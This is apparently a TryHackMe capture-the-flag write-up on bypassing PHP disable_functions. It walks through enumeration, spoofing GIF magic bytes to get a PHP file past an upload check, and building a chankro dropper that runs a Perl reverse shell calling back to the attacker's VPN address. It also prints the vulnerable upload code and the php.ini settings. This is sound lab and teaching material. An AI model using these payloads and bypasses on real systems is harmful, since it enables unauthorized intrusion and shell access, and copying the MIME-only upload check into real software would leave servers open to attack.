Information
Room#
- Name: Bypass Disable Functions
- Profile: tryhackme.com
- Difficulty: Info
- Description: Practice bypassing disabled dangerous features that run operating system commands or start processes.
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap ffuf chankro
Network enumeration#
Let's add a custom hostname to the machine.
➜ grep bypassdisablefunctions /etc/hosts
10.10.154.25 bypassdisablefunctions.thm
Port and service enumeration with nmap
.
# Nmap 7.95 scan initiated Sun Mar 30 19:01:25 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap bypassdisablefunctions.thm
Nmap scan report for bypassdisablefunctions.thm (10.10.154.25)
Host is up, received echo-reply ttl 63 (0.065s latency).
Not shown: 65336 closed tcp ports (reset), 197 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
| 256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_ 256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 19:02:08 2025 -- 1 IP address (1 host up) scanned in 42.53 seconds
Nothing to see outside the web server.
Web discovery & enumeration#
On the homepage there is nothing but a link to http://bypassdisablefunctions.thm/cv.php.
Let's use ffuf
to fuzz a bit around and identify potential files and folders.
➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]
uploads [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 54ms]
assets [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 67ms]
server-status [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]
➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
index.html [Status: 200, Size: 12012, Words: 3434, Lines: 244, Duration: 64ms]
.htaccess [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]
phpinfo.php [Status: 200, Size: 68311, Words: 3202, Lines: 747, Duration: 87ms]
[…]
cv.php [Status: 200, Size: 4153, Words: 1078, Lines: 98, Duration: 81ms]
There are a /uploads/
folder as well as a phpinfo.php
file.
On http://bypassdisablefunctions.thm/phpinfo.php, we can check the directives that are important for security.
disable_functions
:exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
open_basedir
: empty$_SERVER['DOCUMENT_ROOT']
:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db
On the CV page it says Upload a real image, if we do so we can find it back at http://bypassdisablefunctions.thm/uploads/ where there is a directory listing.
However, if we upload a PHP file, it is rejected (no error, but the file is not available on /uploads/
). The server doesn't care about the extension .php
or the Content-Type application/x-php
so it must be checking the file type directly with file or magic header library.
So what I'll do is creating a file gif.txt
containing the GIF magic bytes plus a semicolon and a new line:
GIF89a;
And I'll create a simple test file noraj.php
using none of the blocked function:
<?php echo 'noraj'; ?>
Then I'll concatenate both so that my PHP script spoofs a GIF signature header.
cat gif.txt noraj.php > noraj_obfu.php
When uploading the spoofed test file, this time we get a different response:
OK
>
And at http://bypassdisablefunctions.thm/uploads/noraj_obfu.php we have GIF89a; noraj
displayed. The test went well, now we can go with the real payload.
PHP disable_function
bypass#
The issue is that a lot of functions that allow easy command execution are banned. So to bypass that we'll use chankro
.
Tool to bypass
disable_functions
andopen_basedir
in PHP by callingsendmail
and settingLD_PRELOAD
environment variable
I already used this tool during ECSC 2019 Quals.
First, I'll create the reverse shell (rev.sh
) I want to use on revshells.com (OS: Linux, Type: Perl, Shell: /bin/bash
, IP: THM VPN one, Port: 80).
perl -e 'use Socket;$i="10.21.34.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Then let's use chankro
to generate the bypass PHP dropper. We already found the path of the web root on the phpinfo.php
page.
chankro --arch 64 --input rev.sh --output dropper.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads
As during the previous test, we need to spoof the GIF signature.
cat gif.txt dropper.php > dropper_obfu.php
By the way, little tips, to be able to bind port under 1024 without root:
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.conf
Launch a listener and trigger dropper_obfu.php to get a shell.
➜ ncat -lvnp 80
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.154.25:42852.
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/$ ls -lh /home
total 4.0K
drwxr-xr-x 4 s4vi s4vi 4.0K Jun 23 2021 s4vi
www-data@ubuntu:/$ cd /home/s4vi
www-data@ubuntu:/home/s4vi$ ls -lhA .
total 36K
-rw------- 1 root root 6.0K Jun 23 2021 .bash_history
-rw-r--r-- 1 s4vi s4vi 220 Jun 22 2021 .bash_logout
-rw-r--r-- 1 s4vi s4vi 3.7K Jun 22 2021 .bashrc
drwx------ 2 s4vi s4vi 4.0K Jun 22 2021 .cache
drwxrwxr-x 2 s4vi s4vi 4.0K Jun 23 2021 .nano
-rw-r--r-- 1 s4vi s4vi 655 Jun 22 2021 .profile
-rw-r--r-- 1 s4vi s4vi 0 Jun 23 2021 .sudo_as_admin_successful
-rw-r--r-- 1 root root 183 Jun 23 2021 .wget-hsts
-rw-rw-r-- 1 s4vi s4vi 37 Jun 23 2021 flag.txt
www-data@ubuntu:/home/s4vi$ cat flag.txt
thm{…}
Post-exploitation exploration#
/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/cv.php
<!DOCTYPE html>
<html lang="en">
<head>
[…]
</head>
<body>
<!-- Header Section Start -->
[…]
<!-- Header Section End -->
<div class="search-container">
</div>
</section>
<!-- end intro section -->
</div>
<!-- Find Job Section Start -->
<section class="find-job section">
<div class="container">
<h2 class="section-title">Send your cv in image format</h2>
<div class="row">
<form enctype="multipart/form-data" action="" method="POST">
<input name="file" type="file" />
<input type="submit" value="Subir archivo" />
</form>
<div>
<?php
$mimetype = mime_content_type($_FILES['file']['tmp_name']);
if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
echo 'OK';
} else {
echo 'Upload a real image';
exit;
}
?>
</div>>
</div>
</div>
</section>
</footer>
<!-- Main JS -->
[…]
</body>
</html>
grep -vP '(?:^\;)|(?:^$)' /etc/php/7.0/apache2/php.ini
[PHP]
engine = On
short_open_tag = Off
precision = 14
output_buffering = 4096
zlib.output_compression = Off
implicit_flush = Off
unserialize_callback_func =
serialize_precision = 17
open_basedir = none
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl
_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getprior
ity,pcntl_setpriority,
[…]
/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[…]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
[…]
</VirtualHost>